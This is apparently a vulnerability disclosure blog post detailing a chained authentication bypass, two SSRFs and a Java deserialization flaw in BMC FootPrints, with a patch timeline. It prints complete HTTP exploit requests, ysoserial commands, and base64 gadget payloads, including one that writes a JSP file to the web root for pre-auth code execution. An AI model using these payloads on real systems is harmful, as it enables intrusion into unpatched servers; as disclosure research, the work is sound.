# The Most Organized Threat Actors Use Your ITSM (BMC FootPrints Pre-Auth Remote Code Execution Chains)
SolarWinds. Ivanti. SysAid. ManageEngine. Giants of the KEV world, all of whom have ITSM side-projects.
ITSMs, as a group of solutions, have played pivotal roles in numerous ransomware gang campaigns – not only do they represent code running on a system, but they hold a significant amount of sensitive information. With the ability to track IT inventory, configuration files, and incident reports, threat actor campaigns have never been so organized.
**BMC FootPrints last received a CVE in 2014. Today, we fix that.** Digging into our archives, we’re detailing vulnerabilities we discovered and chained in 2025 against (at the time fully patched) BMC FootPrints to achieve Pre-authenticated Remote Code Execution.
**Welcome back to another monologue/watchTowr Labs blogpost.**
### What is BMC FootPrints?
BMC FootPrints is an IT Service Management (ITSM) solution designed to help IT teams manage service requests, incidents, assets, and changes through configurable workflows and an intuitive web interface.
Like most products in this category, it includes rollercoaster-esque excitement, such as:
– Ticket management
– Incident tracking
– Workflow automation
– Asset management
– Reporting
– And more
BMC FootPrints is one of two ITSM ‘product lines’ that BMC offers:
– Helix, and
– FootPrints
FootPrints has kept a fairly low profile, with minimal CVEs assigned to the product itself; the most recent was in 2014 (CVE-2025-24813 is for Tomcat, don’t @ us). A tell?
If we take that “tell”, and combine it with an end-user comment we found on HackForums;
> “BMC Footprints has been, for the most part, solid. We have been using it for a few years now, and have recently updated V11. We are currently in the process of upgrading to V12, and we are told that it is a total rewrite and should improve the experience as it no longer written in an outdated programming language with heavy reliance on JRE. We were disappointed to hear that there is no way to do a straight upgrade from V11 to V12.”
Well, you can see where this is going.
### What Did You Do Now, watchTowr?
To cut to the chase – in today’s blog post, we’ll be walking through four (4) distinct vulnerabilities, our discovery process, and their eventual chaining.
– CVE-2025-71257 / WT-2025-0069 – Authentication Bypass
– CVE-2025-71258 / WT-2025-0070 – Server-Side Request Forgery
– CVE-2025-71259 / WT-2025-0071 – Server-Side Request Forgery
– CVE-2025-71260 / WT-2025-0072 – Deserialization of Untrusted Data (RCE)
The following branches/versions were identified to be affected:
– BMC FootPrints 20.20.02 to 20.24.01.001
### Disclosure and Remediation Historical Timeline Originally Written On Parchment It Was So Long Ago
We’ve moved the timeline here. Why? No reason.
DateDetail6th June 2025watchTowr discloses WT-2025-0069, WT-2025-0070, WT-2025-0071, WT-2025-0072 to BMC6th June 2025watchTowr hunts across client attack surfaces for exposure9th June 2025watchTowr provides the Aspectjweaver RCE gadget to BMC12th June 2025BMC acknowledge receipt of reports16th June 2025BMC confirms successful reproduction of all vulnerabilities except WT-2025-0072 (RCE) and requests more information20th June 2025watchTowr provides a point and click Python PoC to reproduce the Authentication Bypass (WT-2025-0069) and Remote Code Execution chain (WT-2025-0072)20th June 2025BMC report receiving the PoC and will report back1st July 2025watchTowr asks for update on the RCE reproduction3rd July 2025BMC report issues in reproducing the RCE and ask for more clarification on watchTowr environment3rd July 2025watchTowr provides screenshot evidence of the exploit chain4th July 2025BMC request hash of the web.xml in the watchTowr environment5th July 2025watchTowr provides hash of various files including the installer of the FootPrints environment18th July 2025watchTowr requests an update1st August 2025watchTowr requests an update29th August 2025BMC acknowledges issues with emails and will report back soon2nd September 2025BMC report back that they were able to reproduce the RCE and all four issues have been fixed!
Hot Fixes Released: 20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, 20.24.01
2nd March 2026CVEs assigned:
• CVE-2025-71257 / WT-2025-0069 : Authentication Bypass
• CVE-2025-71258 / WT-2025-0070 : Server-Side Request Forgery
• CVE-2025-71259 / WT-2025-0071 : Server-Side Request Forgery
• CVE-2025-71260 / WT-2025-0072 : Deserialization of Untrusted Data (RCE)
18th March 2026watchTowr remembers this post exists, cries, and publishes research
Sigh.
### Back To The Story
As always with any research, we set ourselves creative, unique, and clear goals – and withheld food until they were achieved.
– Can we achieve Remote Code Execution?
– Can we achieve Remote Code Execution?
– Can we achieve Remote Code Execution?
– Can we achieve Remote Code Execution?
– Can we achieve Remote Code Execution without authentication?
### Diving In
With BMC FootPrints easily installed on a Windows Server, we’re off to the races.
Upon first installation, a browser is launched to the main application entry point located at `http://127.0.0.1:8080/footprints/servicedesk` .
Whilst the supporting Apache Tomcat server is installed in its own directory – `C:\Program Files\Apache Software Foundation\Tomcat 9.0` – the expanded `war` file containing the application source code was found in `C:\Program Files\BMC Software\FootPrints\web`.
As we’ve covered in previous research, Tomcat applications tend to follow a familiar structure during reverse engineering. A `web.xml` file defines servlet routes, `jsp` files execute as server-side scripts, and `jar` and `class` files contain the compiled Java source code behind the application.
To avoid friction later in the process, we extracted all files upfront, making decompilation and remote debugging significantly easier.
### Authentication Bypass – CVE-2025-71257/WT-2025-0069
When attempting to directly access the `jsp` files in the web root, we quickly discovered a filter in place that redirected all requests to the login page.
The following is an example of an unauthenticated request, which is caught by the ‘filter’ and redirects us:
“`
GET /footprints/servicedesk/watchTowr HTTP/1.1 Host: {{Hostname}}
“`
“`
HTTP/1.1 302 Cache-Control: private Set-Cookie: JSESSIONID=9CAD4CA3D09E640B4AE3DCDCE2116B47; Path=/footprints/servicedesk; HttpOnly X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Location: http://{{Hostname}}:8080/footprints/servicedesk/login.html Content-Length: 0 Date: Tue, 17 Jun 2025 08:36:00 GMT
“`
It behaved like a whitelist filter, suggesting the logic was declared elsewhere using a regex-style pattern. Our goal became identifying which endpoints could still be reached pre-authentication while satisfying that filter logic.
This was quickly traced to `deployment/non-version-specific/conf/footprints-application-beans.xml`.
There, we can see a filter configured to intercept all request URIs via `/**`:
“`
“`
The file contains a total of 58 filters – a non-trivial amount to work through, especially given that several are wildcarded and expose an even broader attack surface.
From a post-authentication perspective, the attack surface is substantial. At this stage, however, we’re constrained by the initial `isAuthenticated()` filter – meaning even servlets explicitly declared in `web.xml` remain unreachable to unauthenticated users.
In general, the filters look like this:
“`
“`
Given the above, looking at `[0]`, we can see that requests matching the pattern `/portal/set/**` pass through the `securityContextRepository` filter – potentially allowing pre-authenticated access.
Given the limited reachable surface, we decided to work through each filter and endpoint one by one, just in case something had been exposed unintentionally.
Due diligence, and all that.
> It really can’t be overstated – when researching products with large codebases and complex security filter chains, it’s very easy to get lost in the weeds. And we regularly do. Sometimes you just need to trial-and-error the endpoints against a live instance. As such, we systematically attempted to request each endpoint and filter pattern to observe any differentials that might inspire a deeper investigation.
While the majority of the attack surface remained unreachable without authentication or satisfying the `isAuthenticated()` filter, this systematic approach did lead us to one particular filter – and its matching endpoint – that stood out immediately.
“`
security:http pattern=”/passwordreset/request/**” auto-config=”false” use-expressions=”true” disable-url-rewriting=”false” entry-point-ref=”defaultAuthenticationEntryPoint” security-context-repository-ref=”securityContextRepository”>
“`
It stood out because, when the pattern was satisfied, the server returned a security token cookie ( `SEC_TOKEN`) in the response headers.
“`
GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1 Host: {{Hostname}}
“`
“`
HTTP/1.1 404 Cache-Control: private SET-COOKIE: SEC_TOKEN=wGCyXHdPS-slXYwxD5&rtjHQ1&Y1xBimP0dEJ-TjOCNMJV-ULL; Domain={{Hostname}}; Path=/footprints/servicedesk/; HttpOnly X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 683 Date: Tue, 17 Jun 2025 08:37:58 GMT
“`
It’s important to stress that no other endpoint or filter returned this `SEC_TOKEN`, which immediately raised a few questions for us – what exactly was this token used for, and how was it being set?
Following the code path, we were able to trace an additional filter in the call chain:
`com/numarasoftware/footprints/application/web/filter/GenericGuestAuthenticationFilter.class`
“`
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { boolean applyAnonymousForThisRequest = false; HttpServletRequest request = (HttpServletRequest)req; HttpServletResponse response = (HttpServletResponse)res; if (request.getAttribute(“__system_guest_filter_applied”) != null) { chain.doFilter(request, response); } else { request.setAttribute(“__system_guest_filter_applied”, Boolean.TRUE); try { applyAnonymousForThisRequest = this.applyGuestForThisRequest(request, response); <— [0] } catch (AuthenticationException var8) { AuthenticationException ex = var8; this._failureHandler.onAuthenticationFailure(request, response, ex); return; } if (!this.isAlreadyLoggedIn()) { if (!this.hasLoginRequired(request) && applyAnonymousForThisRequest) { <— [1] Authentication authentication = SecurityContextHolder.getContext().getAuthentication(); if (!SystemSessionContext.hasValidSession()) { this.createGuestAuthentication(request, response, authentication); <— [2] LOG.debug(“Populated SecurityContextHolder with anonymous token: ‘” + SecurityContextHolder.getContext().getAuthentication() + “‘”, new Object[0]); } else { LOG.debug(“SecurityContextHolder not populated with anonymous token because it already contained: ‘” + authentication + “‘”, new Object[0]); } } else if (SystemSessionContext.hasValidSession()) { SystemSessionInfo sessionInfo = SystemSessionContext.getSessionInfo(); if (sessionInfo.isGuestUserSession()) { this._sessionStrategy.onInvalidAuthentication(); } } } chain.doFilter(req, res); } }
“`
Looking at the above, `[0]` shows the point where the code checks for `applyAnonymousForThisRequest` and `applyGuestForThisRequest`.
There are five implementations of this logic:
This makes sense. Looking back at the patterns and filters defined in the earlier configuration file, we can see that `passwordResetRequestAuthenticationFilter` is one of the filters explicitly configured:
“`
]
“`
Following this code block, we can see the boolean being evaluated at `[1]`, before execution flows into `createGuestAuthentication` at `[2]`.
From there, several additional checks are performed across multiple classes, eventually leading to the cookie being set. Which naturally led to the most important question – what, exactly, does this token allow us to do?
Our first litmus test was simple: determine whether this `SEC_TOKEN` granted any form of authentication or session state. In other words, could it satisfy the original `isAuthenticated()` check from the catch-all filter, and in doing so allow us to bypass an authentication boundary?
Only one way to find out:
“`
GET /footprints/servicedesk/watchTowr HTTP/1.1 Host: {{Hostname}} Cookie: SEC_TOKEN=kziK9aCBHIyTtYDt3SNPpN_or+AUyF9GamRWPowwMWKXMF7Rqr
“`
“`
HTTP/1.1 404 Cache-Control: private X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 683 Date: Tue, 17 Jun 2025 08:47:42 GMT
HTTP Status 404 – Not Found
Type Status Report
Description The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.
Apache Tomcat/9.0.106
“`
At this point, some of you are probably wondering what the significance of the above is. It’s just a `404`, right? A standard not-found response. Easy to dismiss, move on, test the next endpoint, nothing to see here.
**Not quite – this is enterprise software, it’s different!**
It’s behavioral proof that we’ve successfully stepped into a privileged session and bypassed the catch-all filter that would otherwise have redirected us to the login page.
### Fox In The Hen House, Fox In The Hen House!
Let’s take stock of where we are.
During the initial recon phase, the application’s exposed attack surface is heavily constrained by the security filter patterns. Pre-authentication, the number of reachable endpoints and APIs is drastically limited.
With this new `SEC_TOKEN` in hand – and the redirect filter effectively bypassed – the reachable surface expands dramatically. What was a tightly restricted set of endpoints now opens up into a much broader range of application functionality.
It’s time to enumerate.
Using the `SEC_TOKEN`, we work back through the API systematically and quickly find several straightforward wins – including a handful of medium-impact issues that we won’t dive into the root cause analysis for here.
### Blind SSRF – CVE-2025-71258/WT-2025-0070
“`
GET /footprints/servicedesk/import/searchWeb?url=https://{{external-host}}&dataEncoding=x HTTP/1.1 Host: {{Hostname}} Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK;
“`
### Blind SSRF – CVE-2025-71259/WT-2025-0071
“`
GET /footprints/servicedesk/externalfeed/RSS?feedUrl=https://{{external-host}} HTTP/1.1 Host: {{Hostname}} Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK;
“`
Unfortunately, though, while ‘vulnerabilities’, we haven’t met our original research goal – and thus we are not allowed to eat.
The reality is that blind SSRF vulnerabilities barely scratch the surface when it comes to satisfying vulnerabilities – we’re still craving mayhem.
### Remote Code Execution WT-2025-0072 – CVE-2025-71260
Having blasted through the API without achieving our goal, we turned our attention back to the broader application architecture.
The application runs on Tomcat, and as expected, there is a `web.xml` containing servlet definitions – and with them, additional potential routes.
More specifically, in `C:\Program Files\BMC Software\FootPrints\web\WEB-INF\web.xml`, we can see a number of URL patterns mapped to servlets of interest.
For example:
“`
VmwDynamicServlet /aspnetconfig
“`
The URI `/aspnetconfig` maps to the `VmwDynamicServlet` servlet, which in turn maps to the class `GhDynamicHttpServlet`:
“`
VmwDynamicServlet GhDynamicHttpServlet
“`
Before diving into the darker depths of the code, as mentioned earlier, it’s important to play with your food before deconstructing it.
We decided to issue a request to our live instance first just to see what the endpoint actually looked like in practice.
Sometimes, you need to taste with your eyes:
“`
GET /footprints/servicedesk/aspnetconfig/ HTTP/1.1 Host: {{Hostname}} Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK;
“`
“`
HTTP/1.1 200 Cache-Control: private Set-Cookie: JSESSIONID=4CC85B0B94E801ADA5C5DAFC865244A7; Path=/footprints/servicedesk; HttpOnly Cache-Control: private X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Type: text/html;charset=utf-8 Content-Length: 1396 Date: Wed, 03 Sep 2025 02:32:04 GMT Keep-Alive: timeout=20 Connection: keep-alive ” >
allowRemoteConfiguration to the appSettings section, and set its value to true:
< appSettings > add key="allowRemoteConfiguration" value="True" /> appSettings >
“`
Now, for those following along at home who may not be avid readers, we want to call back to our IBM Operational Decision Manager RCE, research – there’s an important pattern here in the `__VIEWSTATE` response: `rO0ABXN`!
This pattern is the Base64 prefix of a Java object. If we decode the value, we can immediately see the telltale signs of a serialized Java object:
“`
¬ísr”system.Web.UI.Page$StateSerializerÊÿîxrsystem.ObjectÊÿîxpwx
“`
At this point, our interest is very much piqued. You can probably already see where this is heading – and yes, we’ll get there.
Hold on tight for deserialization.
### Strap In Folks!
The appliance’s response exposes a raw Java object in the `__VIEWSTATE` parameter, which immediately stands out.
`__VIEWSTATE` is typically associated with .NET applications as we’re sure you know – but here, we’re dealing with Java.
Sigh.. Mono…
> Mono is an **open-source implementation of Microsoft’s .NET Framework** that runs across multiple platforms (Linux, macOS, Windows, BSD, etc.). It allows you to build and run applications written in C#, F#, and other .NET languages outside of Windows. Mono includes a C# compiler and a Common Language Runtime (CLR) that mimics Microsoft’s .NET runtime.
That would also make sense given the presence of `.aspx` files in the filesystem.
And, of course, `__VIEWSTATE` is no stranger to deserialization research in the .NET world – especially when the keys used to protect its value are known. The more interesting question here is how that behaviour translates when the implementation is Mono-based, but the underlying application logic is still rooted in Java.
When testing for deserialization, it’s important that we begin with an object that relies on classes already present on the target’s classpath. That can vary from product to product, but one gadget chain that is almost always worth reaching for first is `URLDNS`.
`URLDNS` triggers a DNS lookup to attacker-controlled infrastructure, making it an ideal low-impact way to confirm that deserialization is taking place without immediately reaching for full code execution.
You can generate a payload for this using the following ysoserial command:
“`
Java -jar ysoserial.jar URLDNS “https://{{external-url}}”| base64
“`
When we first tried supplying the object via a `GET` request, we immediately ran into a few observations:
1. The mere presence of the `__VIEWSTATE` parameter triggered a `302` response, redirecting us to an error page.
2. The object was not deserialized, and no DNS query was observed hitting our infrastructure.
3. Switching to `POST` didn’t help either – regardless of request structure, the server consistently responded with `403 Forbidden`.
Let’s try..
“`
GET /footprints/servicedesk/aspnetconfig/CreateUser.aspx?__VIEWSTATE=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALDR0eTkxaXByZTZqbG51bHdoZm1ueW4xOW0wc3VnazQ5Lm9hc3RpZnkuY29tdAAAcQB+AAV0AAVodHRwc3B4dAA0aHR0cHM6Ly80dHk5MWlwcmU2amxudWx3aGZtbnluMTltMHN1Z2s0OS5vYXN0aWZ5LmNvbXg= HTTP/1.1 Host: {{Hostname}} Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK;
“`
“`
HTTP/1.1 302 Cache-Control: private Set-Cookie: JSESSIONID=E014BB23BFB56540DC2FDFE9C0EB3778; Path=/footprints/servicedesk; HttpOnly Location: /footprints/servicedesk/aspnetconfig/404.htm?aspxerrorpath=/footprints/servicedesk/aspnetconfig/CreateUser.aspx Cache-Control: private X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Type: text/html;charset=utf-8 Content-Length: 226 Date: Wed, 03 Sep 2025 02:46:55 GMT Keep-Alive: timeout=20 Connection: keep-alive
Object moved to here
“`
Sigh……
### Debug For Glory!
Undeterred by the lack of deserialization/our own skill issues, we turned to code – and our trusty debugger – for answers.
Focusing on `Mainsoft/Web/Hosting/BaseFacesStateManager.class`, we quickly located the point where the `__VIEWSTATE` request parameter is handled.
“`
protected final Object GetStateFromClient(FacesContext facesContext, String viewId, String renderKitId) { Object map = null; Object s1 = null; Object buffer = null; InputStream bytearrayinputstream = null; ObjectInputStream inputStream = null; Object state = null; map = facesContext.getExternalContext().getRequestParameterMap(); s1 = StringStaticWrapper.StringCastClass(map.get(VIEWSTATE)); <—- [0] buffer = Convert.FromBase64String((String)s1); <—- [1] bytearrayinputstream = access$200(TypeUtils.ToSByteArray(buffer)); <—- [2] inputStream = access$300(bytearrayinputstream); state = inputStream.readObject(); <—- [3] inputStream.close(); bytearrayinputstream.close(); return state; }
“`
This function is a textbook example of how deserialization is taking place:
– `[0]`- The request parameter map retrieves the `__VIEWSTATE` value and assigns it to `s1`
– `[1]`- That value is then decoded from Base64 into a buffer
– `[2]`- The buffer is read into a byte array
– `[3]`- The byte array is passed into `readObject()`, where deserialization occurs
Unfortunately, for reasons not yet obvious, the request still fails – because `s1` is never actually populated.
As shown below, the `__VIEWSTATE` parameter resolves to `null` :
Digging further into how request parameters are parsed, we followed execution into `getRequestParameterMap()`:
“`
public Map getRequestParameterMap() { Map CS$0$0000 = null; Object var10000 = this._requestParameterMap; if (this._requestParameterMap == null) { BaseExternalContext.RequestParameterMap var2; this._requestParameterMap = var2 = access$000(this.get_Context().get_Request().get_Form()); var10000 = var2; } return (Map)var10000; }
“`
And finally into `get_Form()`, where we can see that request variables are only processed when one of two content types is present at `[0]` and `[1]`:
“`
public final NameValueCollection get_Form() { if (this.form == null) { this.form = new WebROCollection(); this.files = new HttpFileCollection(); if (this.IsContentType(“multipart/form-data”, true)) { <—- [0] this.LoadMultiPart(); } else if (this.IsContentType(“application/x-www-form-urlencoded”, true)) { <—- [1] this.LoadWwwForm(); } this.form.Protect(); }
“`
Now, we’d be lying if we said we figured this part out from the code first, rather than by button-mashing our super-finisher until we managed to get a value into the `s1` parameter.
That said, we ultimately identified two ways to achieve our goal.
The first is by sending the request with a `Content-Type` header of `multipart/form-data` – (ahem ahem something we actually discovered while writing this blog post ahem ahem):
“`
POST /footprints/servicedesk/aspnetconfig/ HTTP/1.1 Host: {{Hostname}} Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK; Content-Type: multipart/form-data; boundary=—-WebKitFormBoundarywwyEWsOTbKQLLJ1P Content-Length: 600 ——WebKitFormBoundarywwyEWsOTbKQLLJ1P Content-Disposition: form-data; name=”__VIEWSTATE” rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALHk2NTNlYzJscjB3ZjBveXF1OXpoYmhlM3p1NXB0Zmg0Lm9hc3RpZnkuY29tdAAAcQB+AAV0AAVodHRwc3B4dAA0aHR0cHM6Ly95NjUzZWMybHIwd2Ywb3lxdTl6aGJoZTN6dTVwdGZoNC5vYXN0aWZ5LmNvbXg= ——WebKitFormBoundarywwyEWsOTbKQLLJ1P–
“`
Our initial discovery – albeit through a bit of button-bashing – showed that it was possible to deliver the value by:
1. Sending a `GET` request
2. Including a dummy `__VIEWSTATE` parameter in the query string
3. Supplying the real `__VIEWSTATE` value in the request body
4. Using a `Content-Type` of `application/x-www-form-urlencoded`
“`
GET /footprints/servicedesk/aspnetconfig/?__VIEWSTATE=watchTowr HTTP/1.1 Host: {{Hostname}} Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK; Content-Type: application/x-www-form-urlencoded Content-Length: 1380 __VIEWSTATE=%72%4f%30%41%42%58%4e%79%41%42%46%71%59%58%5a%68%4c%6e%56%30%61%57%77%75%53%47%46%7a%61%45%31%68%63%41%55%48%32%73%48%44%46%6d%44%52%41%77%41%43%52%67%41%4b%62%47%39%68%5a%45%5a%68%59%33%52%76%63%6b%6b%41%43%58%52%6f%63%6d%56%7a%61%47%39%73%5a%48%68%77%50%30%41%41%41%41%41%41%41%41%78%33%43%41%41%41%41%42%41%41%41%41%41%42%63%33%49%41%44%47%70%68%64%6d%45%75%62%6d%56%30%4c%6c%56%53%54%4a%59%6c%4e%7a%59%61%2f%4f%52%79%41%77%41%48%53%51%41%49%61%47%46%7a%61%45%4e%76%5a%47%56%4a%41%41%52%77%62%33%4a%30%54%41%41%4a%59%58%56%30%61%47%39%79%61%58%52%35%64%41%41%53%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%54%64%48%4a%70%62%6d%63%37%54%41%41%45%5a%6d%6c%73%5a%58%45%41%66%67%41%44%54%41%41%45%61%47%39%7a%64%48%45%41%66%67%41%44%54%41%41%49%63%48%4a%76%64%47%39%6a%62%32%78%78%41%48%34%41%41%30%77%41%41%33%4a%6c%5a%6e%45%41%66%67%41%44%65%48%44%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%33%51%41%4c%48%6b%32%4e%54%4e%6c%59%7a%4a%73%63%6a%42%33%5a%6a%42%76%65%58%46%31%4f%58%70%6f%59%6d%68%6c%4d%33%70%31%4e%58%42%30%5a%6d%67%30%4c%6d%39%68%63%33%52%70%5a%6e%6b%75%59%32%39%74%64%41%41%41%63%51%42%2b%41%41%56%30%41%41%56%6f%64%48%52%77%63%33%42%34%64%41%41%30%61%48%52%30%63%48%4d%36%4c%79%39%35%4e%6a%55%7a%5a%57%4d%79%62%48%49%77%64%32%59%77%62%33%6c%78%64%54%6c%36%61%47%4a%6f%5a%54%4e%36%64%54%56%77%64%47%5a%6f%4e%43%35%76%59%58%4e%30%61%57%5a%35%4c%6d%4e%76%62%58%67%3d
“`
As shown below, our injected `__VIEWSTATE` value is successfully assigned to `s1` – which is then ultimately passed into the deserialization flow:
The `URLDNS` gadget chain fired successfully, sending a DNS lookup to our listening infrastructure – now, time for a gadget chain to achieve RCE (and get dinner?).
Before diving into custom gadget development and disappearing into the class-tracing trenches, it’s always worth checking what the community has already done for you. ysoserial maintains a curated set of known gadget chains, and it’s the natural first stop.
Unfortunately, the usual suspects – such as the Apache Commons-based chains – weren’t viable here, as the target codebase doesn’t rely on the expected libraries in the right way.
That said, we got lucky.
The application includes `aspectjweaver-1.9.2` and `commons-collections:3.2.2`, which line up perfectly for the well-known arbitrary file write gadget chain `AspectJWeaver`, originally authored by the legendary Jang.
To generate a working payload, the following `ysoserial` command can be used:
“`
java -jar ysoserial.jar AspectJWeaver “filename.jsp;BASE64TEXT” | base64
“`
It’s important to note that the filename can contain path traversal sequences and arbitrary directory separators.
With that in mind, we craft a harmless payload that writes a `.jsp` script into the FootPrints web root which, when executed, enumerates the system’s current user and working directory:
“`
java -jar ysoserial.jar AspectJWeaver “webapps/ROOT/watchTowr.jsp;PCVAIHBhZ2UgbGFuZ3VhZ2U9ImphdmEiIGNvbnRlbnRUeXBlPSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT4KPCUKICAgIFN0cmluZyBvc1VzZXIgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIubmFtZSIpOwogICAgU3RyaW5nIGN3ZCA9IFN5c3RlbS5nZXRQcm9wZXJ0eSgidXNlci5kaXIiKTsKJT4KPCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT53YXRjaFRvd3IgU3lzdGVtIEluZm88L3RpdGxlPgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPlN5c3RlbSBJbmZvcm1hdGlvbjwvaDE+CiAgICA8cD48c3Ryb25nPk9TIFVzZXI6PC9zdHJvbmc+IDwlPSBvc1VzZXIgJT48L3A+CiAgICA8cD48c3Ryb25nPkN1cnJlbnQgV29ya2luZyBEaXJlY3Rvcnk6PC9zdHJvbmc+IDwlPSBjd2QgJT48L3A+CjwvYm9keT4KPC9odG1sPgo=” | base64
“`
### Your Favorite Band Is Back Together
For those following along at home, the grand finale is now hopefully obvious.
By chaining the Authentication Bypass (CVE-2025-71257) and this Deserialization of Untrusted Data (CVE-2025-71260), we can achieve Arbitrary File Write – and, ultimately, Pre-Authenticated Remote Code Execution.
Let’s play it out..
**CVE-2025-71257 – Authentication Bypass (Extract the “SEC_TOKEN” cookie)**
“`
GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1 Host: {{Hostname}}
“`
**CVE-2025-71260 – Deserialize to Arbitrary File Write (Using the “SEC_TOKEN” cookie from the first request)**
“`
POST /footprints/servicedesk/aspnetconfig/ HTTP/1.1 Host: {{Hostname}} Cookie: SEC_TOKEN=TF06JG8cShIK0q3yJe+o_KDf2fDpnt2JU6c7Tfhr&zWoA1itiu; Content-Type: multipart/form-data; boundary=—-WebKitFormBoundarywwyEWsOTbKQLLJ1P Content-Length: 1624 ——WebKitFormBoundarywwyEWsOTbKQLLJ1P Content-Disposition: form-data; name=”__VIEWSTATE” rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAGndlYmFwcHMvUk9PVC93YXRjaFRvd3IuanNwc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgADeHB1cgACW0Ks8xf4BghU4AIAAHhwAAABvjwlQCBwYWdlIGxhbmd1YWdlPSJqYXZhIiBjb250ZW50VHlwZT0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiBwYWdlRW5jb2Rpbmc9IlVURi04IiU+CjwlCiAgICBTdHJpbmcgb3NVc2VyID0gU3lzdGVtLmdldFByb3BlcnR5KCJ1c2VyLm5hbWUiKTsKICAgIFN0cmluZyBjd2QgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIuZGlyIik7CiU+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+d2F0Y2hUb3dyIFN5c3RlbSBJbmZvPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxoMT5TeXN0ZW0gSW5mb3JtYXRpb248L2gxPgogICAgPHA+PHN0cm9uZz5PUyBVc2VyOjwvc3Ryb25nPiA8JT0gb3NVc2VyICU+PC9wPgogICAgPHA+PHN0cm9uZz5DdXJyZW50IFdvcmtpbmcgRGlyZWN0b3J5Ojwvc3Ryb25nPiA8JT0gY3dkICU+PC9wPgo8L2JvZHk+CjwvaHRtbD4Kc3IAPm9yZy5hc3BlY3RqLndlYXZlci50b29scy5jYWNoZS5TaW1wbGVDYWNoZSRTdG9yZWFibGVDYWNoaW5nTWFwO6sCH0tqVloCAANKAApsYXN0U3RvcmVkSQAMc3RvcmluZ1RpbWVyTAAGZm9sZGVydAASTGphdmEvbGFuZy9TdHJpbmc7eHIAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4AAABmQ2q4P0AAAAMdAABLnh4 ——WebKitFormBoundarywwyEWsOTbKQLLJ1P–
“`
And voila – our friendly `watchTowr.jsp` is written to the file system:
“`
GET /watchTowr.jsp HTTP/1.1 Host: {{Hostname}}
“`
“`
HTTP/1.1 200 Set-Cookie: JSESSIONID=F3BCBF9067A19B61E3AFD0B1ADA18D1D; Path=/; HttpOnly Content-Type: text/html;charset=UTF-8 Content-Length: 300 Date: Wed, 03 Sep 2025 03:45:58 GMT
System Information
OS User: LOCAL SERVICE$
